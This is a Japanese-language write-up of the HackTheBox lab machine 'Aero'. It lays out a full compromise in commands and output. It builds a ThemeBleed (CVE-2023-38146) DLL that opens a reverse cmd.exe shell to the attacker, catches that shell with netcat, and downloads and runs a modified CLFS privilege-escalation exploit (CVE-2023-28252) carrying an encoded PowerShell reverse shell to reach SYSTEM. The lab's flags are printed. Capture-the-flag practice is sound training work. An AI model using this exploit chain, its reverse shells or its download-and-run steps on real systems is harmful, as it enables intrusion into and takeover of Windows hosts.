HackTheBox: Aero — 手動攻略レポート
Target: 10.129.229.128Windows 11 Build 22000.1761
Nmap 80/7680
→CVE-2023-38146
→sam.emerson
→CVE-2023-28252
→SYSTEM
BASH
ip -brief address show tun0 nmap -Pn -p- --min-rate 3000 10.129.229.128 nmap -Pn -sC -sV -p80,7680 10.129.229.128 curl -s http://10.129.229.128/js/scripts.js
RESULT
Kali 10.10.15.201 80/tcp open http Microsoft-IIS/10.0 7680/tcp open pando-pub Aero Theme Hub
!
HTML は
name="files" だが JavaScript は formData.append("file", file)。実際の multipart フィールドは単数形の file。PHASE 2
CVE-2023-38146 ThemeBleed
PoCとDLL
BASH
git clone https://github.com/exploits-forsale/themebleed curl -LO https://github.com/exploits-forsale/themebleed/releases/download/v1/ThemeBleed.zip unzip ThemeBleed.zip -d release # VerifyThemeVersion export 内で 10.10.15.201:10001 へ cmd.exe を接続する rev.cpp x86_64-w64-mingw32-g++ -shared -o stage_3.dll rev.cpp -lws2_32 -static-libgcc -static-libstdc++ cp stage_3.dll themebleed/data/stage_3
ThemeBleed.exe、SMBLibrary DLL、stage_1、stage_2、自作 stage_3 を配置する。TCP 445 は PoC 用に空ける。
実行
3 TERMINALS
cd themebleed wine ThemeBleed.exe make_theme 10.10.15.201 aero.theme wine ThemeBleed.exe server nc -lvnp 10001 curl -s -H "Origin: http://10.129.229.128" -H "Referer: http://10.129.229.128/" \ -F "file=@aero.theme;filename=aero.theme" http://10.129.229.128/upload
RESULT
Client requested stage 1 - Version check Client requested stage 2 - Verify signature Client requested stage 3 - LoadLibrary C:\Windows\system32> whoami aero\sam.emerson
i
元ファイル名を
aero.theme に固定。同一内容を再送する場合は先頭コメントだけを一意化し、テーマ末尾は変更しない。PHASE 3
user.txt
CMD
type C:\Users\sam.emerson\Desktop\user.txt dir C:\Users\sam.emerson\Documents
user.txt
c2c94d0712a2869d260db73747a61037
CVE-2023-28252_Summary.pdf が権限昇格のヒント。
PHASE 4
CVE-2023-28252 CLFS EoP
BUILD
git clone https://github.com/fortra/CVE-2023-28252
# clfs_eop.cpp の system("notepad.exe"); を 10.10.15.201:10002 用 PowerShell -EncodedCommand に置換
x86_64-w64-mingw32-g++ -O2 -o clfs_eop.exe clfs_eop.cpp \
-lntdll -lclfsw32 -ladvapi32 -lpsapi -static-libgcc -static-libstdc++i
公式は Visual Studio Release x64。MinGW では SAL、SEH、
_wdupenv_s の互換化も必要。TRANSFER / RUN
# Kali python3 -m http.server 8000 nc -lvnp 10002 # Target powershell -c "iwr http://10.10.15.201:8000/clfs_eop.exe -OutFile C:\Windows\Temp\clfs_eop.exe" C:\Windows\Temp\clfs_eop.exe
RESULT
PS C:\Windows\system32> whoami nt authority\system
!
競合条件で失敗し 502 になる場合は、HTTP 200 への復旧後に再試行する。
PHASE 5
root.txt
POWERSHELL
Get-Content C:\Users\Administrator\Desktop\root.txt
root.txt
06590598ba058fadfe22d294106b5599
| 初期侵入 | CVE-2023-38146 → aero\sam.emerson |
|---|---|
| 権限昇格 | CVE-2023-28252 → NT AUTHORITY\SYSTEM |
広告
